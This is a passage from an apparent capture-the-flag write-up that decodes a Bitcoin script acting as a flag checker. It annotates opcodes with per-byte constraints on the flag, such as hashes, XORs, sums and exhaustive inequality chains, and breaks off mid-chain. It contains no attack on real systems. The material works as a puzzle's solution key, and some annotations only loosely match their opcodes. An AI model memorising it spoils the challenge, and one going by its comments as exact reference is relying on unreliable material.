OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1a OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1b OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1c OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1d OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1e OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1f OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 20 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 21 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 22 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 23 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 24 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY OP_1SUB 7c OP_EQUALVERIFY OP_SHA256 e29c9c180c6279b0b02abd6a1801c7c04082cf486ec027aa13515e4f3884bb6b OP_EQUALVERIFY 8a OP_XOR bb OP_EQUALVERIFY OP_IFDUP OP_ADD de OP_EQUALVERIFY 02 OP_PICK OP_1ADD 60 OP_EQUALVERIFY OP_DUP OP_DUP OP_ADD OP_ADD 96 OP_EQUALVERIFY OP_DROP OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE d5 OP_XOR bb OP_EQUALVERIFY OP_ENDIF OP_HASH256 bed5fe7c6a43a11e4d7dbe4293f6aa2eeb65025b5f78a518fdd7447ed2ccc55e OP_EQUALVERIFY 27446f6d696e696f6e2720697320616e20696d706f7274616e7420646f63756d656e74617279 OP_SHA1 3a4e3aedaf36ced1a17af38a73fbc0cda118220e OP_EQUAL ff OP_2DROP OP_DUP 60 OP_LESSTHAN OP_ADD 60 OP_EQUALVERIFY OP_SHA256 da4ea2a5506f2693eae190d9360a1f31793c98a1adade51d93533a6f520ace1c OP_EQUALVERIFY OP_DUP 00 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 01 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 02 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 03 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 04 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 05 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 06 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 07 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 08 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 09 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 10 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 11 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 12 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 13 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 14 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 15 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 16 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 17 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 18 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 19 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 20 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 21 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 22 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 23 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 24 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 25 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 26 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 27 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 28 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 29 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 30 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 31 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 32 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 33 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 34 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 35 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 36 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 37 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 38 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 39 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 40 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 41 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 42 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 43 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 44 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 45 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 46 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 47 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 48 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 49 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 50 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 51 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 52 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 53 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 54 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 55 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 56 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 57 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 58 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 59 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 60 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 61 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 62 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 63 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 64 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 65 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 66 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 67 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 68 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 69 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 70 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 71 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 72 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 73 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 75 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 76 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 77 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 78 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 79 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 80 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 81 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 82 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 83 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 84 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 85 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 86 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 87 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 88 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 89 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 90 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 91 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 92 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 93 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 94 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 95 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 96 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 97 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 98 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 99 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9f OP_NUMNOTEQUAL OP_VERIFY OP_DUP a0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP aa OP_NUMNOTEQUAL OP_VERIFY OP_DUP ab OP_NUMNOTEQUAL OP_VERIFY OP_DUP ac OP_NUMNOTEQUAL OP_VERIFY OP_DUP ad OP_NUMNOTEQUAL OP_VERIFY OP_DUP ae OP_NUMNOTEQUAL OP_VERIFY OP_DUP af OP_NUMNOTEQUAL OP_VERIFY OP_DUP b0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ba OP_NUMNOTEQUAL OP_VERIFY OP_DUP bb OP_NUMNOTEQUAL OP_VERIFY OP_DUP bc OP_NUMNOTEQUAL OP_VERIFY OP_DUP bd OP_NUMNOTEQUAL OP_VERIFY OP_DUP be OP_NUMNOTEQUAL OP_VERIFY OP_DUP bf OP_NUMNOTEQUAL OP_VERIFY OP_DUP c0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ca OP_NUMNOTEQUAL OP_VERIFY OP_DUP cb OP_NUMNOTEQUAL OP_VERIFY OP_DUP cc OP_NUMNOTEQUAL OP_VERIFY OP_DUP cd OP_NUMNOTEQUAL OP_VERIFY OP_DUP ce OP_NUMNOTEQUAL OP_VERIFY OP_DUP cf OP_NUMNOTEQUAL OP_VERIFY OP_DUP d0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP da OP_NUMNOTEQUAL OP_VERIFY OP_DUP db OP_NUMNOTEQUAL OP_VERIFY OP_DUP dc OP_NUMNOTEQUAL OP_VERIFY OP_DUP dd OP_NUMNOTEQUAL OP_VERIFY OP_DUP de OP_NUMNOTEQUAL OP_VERIFY OP_DUP df OP_NUMNOTEQUAL OP_VERIFY OP_DUP e0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ea OP_NUMNOTEQUAL OP_VERIFY OP_DUP eb OP_NUMNOTEQUAL OP_VERIFY OP_DUP ec OP_NUMNOTEQUAL OP_VERIFY OP_DUP ed OP_NUMNOTEQUAL OP_VERIFY OP_DUP ee OP_NUMNOTEQUAL OP_VERIFY OP_DUP ef OP_NUMNOTEQUAL OP_VERIFY OP_DUP f0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP fa OP_NUMNOTEQUAL OP_VERIFY OP_DUP fb OP_NUMNOTEQUAL OP_VERIFY OP_DUP fc OP_NUMNOTEQUAL OP_VERIFY OP_DUP fd OP_NUMNOTEQUAL OP_VERIFY OP_DUP fe OP_NUMNOTEQUAL OP_VERIFY OP_DROP OP_1SUB 61 OP_EQUALVERIFY OP_SHA256 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_EQUALVERIFY cf OP_XOR bb OP_EQUALVERIFY OP_IFDUP OP_ADD d0 OP_EQUALVERIFY 02 OP_PICK OP_1ADD 76 OP_EQUALVERIFY OP_DUP OP_DUP OP_ADD OP_ADD 0135 OP_EQUALVERIFY OP_DROP OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE 8b OP_XOR bb OP_EQUALVERIFY OP_ENDIF OP_HASH256 800ae3457a8da20b0d47089c53715054313b4974c28c6af1fefbde1fcb0fdf54 OP_EQUALVERIFY OP_DUP 60 OP_LESSTHAN OP_ADD 60 OP_EQUALVERIFY OP_SHA256 a68b412c4282555f15546cf6e1fc42893b7e07f271557ceb021821098dd66c1b OP_EQUALVERIFY OP_1SUB 68 OP_EQUALVERIFY OP_SHA256 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_EQUALVERIFY d3 OP_XOR bb OP_EQUALVERIFY OP_IFDUP OP_ADD 6a OP_EQUALVERIFY 02 OP_PICK OP_1ADD 58 OP_EQUALVERIFY OP_DUP OP_DUP OP_ADD OP_ADD 013b OP_EQUALVERIFY OP_DROP OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE e4 OP_XOR bb OP_EQUALVERIFY OP_ENDIF OP_DUP 32 OP_LESSTHAN OP_ADD 32 OP_EQUALVERIFY OP_SHA256 925a7bf1cc6e3b9a91aba051665a28fbc2fe5261cb6ffaaaf1decb7282252b22 OP_EQUALVERIFY 54 OP_EQUALVERIFY 4e OP_EQUALVERIFY 45 OP_EQUALVERIFY 54 OP_EQUALVERIFY 4e OP_EQUALVERIFY 49 OP_EQUALVERIFY ``` </details> However, if we run it, we get a failure for the first operation: `OP_DEPTH 24 OP_EQUALVERIFY`. As explained earlier, the pkscript is stack based, and using [this reference](https://en.bitcoin.it/wiki/Script) we understand that this operation: 1. Puts the number of stack items onto the stack (`OP_DEPTH`) 2. Pushes 0x24 to the stack (`24`) 3. Fails the transction if the top two items in the stack are not equal (`OP_EQUALVERIFY`) In our case, the stack is empty (0 items), and it's safe to assume that the flag should be pushed onto the stack for the script to pass. Let's continue breaking down the script: ``` // Check if unlock stack size is 0x24 OP_DEPTH 24 OP_EQUALVERIFY // Verify that ( (stack_head - 1) <= 0xff) 01 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY // Verify that ( (stack_head - 2) <= 0xff) 02 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY // Verify that ( (stack_head - i) <= 0xff) for i in 0x3..0x24 03 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 04 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 05 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 06 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 07 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 08 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 09 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0a OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0b OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0c OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0d OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0e OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 0f OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 10 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 11 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 12 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 13 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 14 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 15 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 16 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 17 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 18 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 19 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1a OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1b OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1c OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1d OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1e OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 1f OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 20 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 21 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 22 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 23 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY 24 OP_PICK ff OP_LESSTHANOREQUAL 01 OP_EQUALVERIFY // flag[0x23] - 1 == 0x7c OP_1SUB 7c OP_EQUALVERIFY // sha256(flag[0x22]) == e29c9c180c6279b0b02abd6a1801c7c04082cf486ec027aa13515e4f3884bb6b OP_SHA256 e29c9c180c6279b0b02abd6a1801c7c04082cf486ec027aa13515e4f3884bb6b OP_EQUALVERIFY // flag[0x21] ^ 0x8a == 0xbb 8a OP_XOR bb OP_EQUALVERIFY // flag[0x20] + flag[0x20] == 0xde OP_IFDUP OP_ADD de OP_EQUALVERIFY // flag[0x1e] + 1 == 0x60 02 OP_PICK OP_1ADD 60 OP_EQUALVERIFY // flag[0x1f] * 3 == 0x96 OP_DUP OP_DUP OP_ADD OP_ADD 96 OP_EQUALVERIFY OP_DROP // if flag[0x1d] == 0xcc return false else flag[0x1d] ^ 0xd5 == 0xbb OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE d5 OP_XOR bb OP_EQUALVERIFY OP_ENDIF // sha256(sha256(flag[0x1c])) == bed5fe7c6a43a11e4d7dbe4293f6aa2eeb65025b5f78a518fdd7447ed2ccc55e OP_HASH256 bed5fe7c6a43a11e4d7dbe4293f6aa2eeb65025b5f78a518fdd7447ed2ccc55e OP_EQUALVERIFY // Dummy operation, result is ignored 27446f6d696e696f6e2720697320616e20696d706f7274616e7420646f63756d656e74617279 OP_SHA1 3a4e3aedaf36ced1a17af38a73fbc0cda118220e OP_EQUAL ff OP_2DROP // flag[0x1b] + 1 == 0x60 OP_DUP 60 OP_LESSTHAN OP_ADD 60 OP_EQUALVERIFY // sha256(flag[0x1a]) == da4ea2a5506f2693eae190d9360a1f31793c98a1adade51d93533a6f520ace1c OP_SHA256 da4ea2a5506f2693eae190d9360a1f31793c98a1adade51d93533a6f520ace1c OP_EQUALVERIFY // Verifying that flag[0x19] == 0x74 (by verifying that flag[0x19] != {0, 1, 2, 3, ..., 0x73, 0x75, ..., 0xfe}) // flag[0x19] != 0 OP_DUP 00 OP_NUMNOTEQUAL OP_VERIFY // flag[0x19] != 1 OP_DUP 01 OP_NUMNOTEQUAL OP_VERIFY // ... OP_DUP 02 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 03 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 04 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 05 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 06 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 07 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 08 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 09 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 0f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 10 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 11 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 12 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 13 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 14 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 15 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 16 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 17 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 18 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 19 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 1f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 20 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 21 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 22 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 23 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 24 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 25 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 26 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 27 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 28 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 29 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 2f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 30 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 31 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 32 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 33 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 34 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 35 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 36 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 37 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 38 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 39 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 3f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 40 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 41 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 42 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 43 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 44 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 45 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 46 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 47 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 48 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 49 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4b OP_NUMNOTEQUAL 